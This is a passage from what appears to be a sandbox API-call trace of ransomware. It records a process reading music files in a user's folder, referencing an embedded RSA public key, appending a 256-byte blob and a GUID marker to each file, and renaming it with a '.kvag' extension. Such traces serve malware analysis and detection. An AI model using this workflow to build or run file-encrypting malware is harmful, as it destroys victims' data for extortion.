PUBLIC KEY-----\\\\n") returned 494 [0121.131] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.131] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.131] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.132] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.132] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.132] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.132] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.132] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.132] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.132] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.132] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.133] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.133] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.133] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x743c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.133] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.133] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.133] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.133] CloseHandle (hObject=0x61c) returned 1 [0121.134] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\53Gdf_RYd2_0WEu.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\53gdf_ryd2_0weu.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\53Gdf_RYd2_0WEu.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\53gdf_ryd2_0weu.mp3.kvag")) returned 1 [0121.136] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310e3030, ftCreationTime.dwHighDateTime=0x1d4d0d2, ftLastAccessTime.dwLowDateTime=0x59149500, ftLastAccessTime.dwHighDateTime=0x1d4d2bd, ftLastWriteTime.dwLowDateTime=0x59149500, ftLastWriteTime.dwHighDateTime=0x1d4d2bd, nFileSizeHigh=0x0, nFileSizeLow=0x11aa6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="79lY3UJfi7jg-Rw.mp3", cAlternateFileName="79LY3U~1.MP3")) returned 1 [0121.136] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\79lY3UJfi7jg-Rw.mp3") returned=".mp3" [0121.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\79lY3UJfi7jg-Rw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\79ly3ujfi7jg-rw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.137] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=72358) returned 1 [0121.137] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.139] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11a80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.139] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.140] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x11aa6, lpOverlapped=0x0) returned 1 [0121.141] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.141] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.141] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.141] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.142] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.142] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.142] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.142] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.142] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.142] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.142] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.142] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.142] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.143] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.143] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11aa6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.143] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.144] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.144] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.144] CloseHandle (hObject=0x61c) returned 1 [0121.145] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\79lY3UJfi7jg-Rw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\79ly3ujfi7jg-rw.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\79lY3UJfi7jg-Rw.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\79ly3ujfi7jg-rw.mp3.kvag")) returned 1 [0121.146] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba41f450, ftCreationTime.dwHighDateTime=0x1d4d02c, ftLastAccessTime.dwLowDateTime=0x9c6252b0, ftLastAccessTime.dwHighDateTime=0x1d4d354, ftLastWriteTime.dwLowDateTime=0x9c6252b0, ftLastWriteTime.dwHighDateTime=0x1d4d354, nFileSizeHigh=0x0, nFileSizeLow=0x149a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AqxNzxwgHCKuzfsCaCH8.mp3", cAlternateFileName="AQXNZX~1.MP3")) returned 1 [0121.146] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\AqxNzxwgHCKuzfsCaCH8.mp3") returned=".mp3" [0121.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\AqxNzxwgHCKuzfsCaCH8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\aqxnzxwghckuzfscach8.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.147] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=84390) returned 1 [0121.147] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.149] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.149] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.150] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x149a6, lpOverlapped=0x0) returned 1 [0121.151] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.151] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.151] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.151] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.152] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.152] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.152] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.152] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.152] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.152] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.153] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.153] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.153] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.153] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.154] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x149a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.154] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.154] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.154] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.154] CloseHandle (hObject=0x61c) returned 1 [0121.155] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\AqxNzxwgHCKuzfsCaCH8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\aqxnzxwghckuzfscach8.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\AqxNzxwgHCKuzfsCaCH8.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\aqxnzxwghckuzfscach8.mp3.kvag")) returned 1 [0121.156] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x592ac100, ftCreationTime.dwHighDateTime=0x1d4ce1b, ftLastAccessTime.dwLowDateTime=0x4bfcd970, ftLastAccessTime.dwHighDateTime=0x1d4d139, ftLastWriteTime.dwLowDateTime=0x4bfcd970, ftLastWriteTime.dwHighDateTime=0x1d4d139, nFileSizeHigh=0x0, nFileSizeLow=0x188b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HBTr-UABKsVOi1XyIF.m4a", cAlternateFileName="HBTR-U~1.M4A")) returned 1 [0121.156] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\HBTr-UABKsVOi1XyIF.m4a") returned=".m4a" [0121.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\HBTr-UABKsVOi1XyIF.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\hbtr-uabksvoi1xyif.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.157] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=100534) returned 1 [0121.157] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.159] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18890, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.159] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.161] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x188b6, lpOverlapped=0x0) returned 1 [0121.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.162] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.162] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.163] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.163] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.163] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.163] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.163] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.163] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.163] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.163] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.163] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.164] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.164] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x188b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.164] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.165] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.165] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, 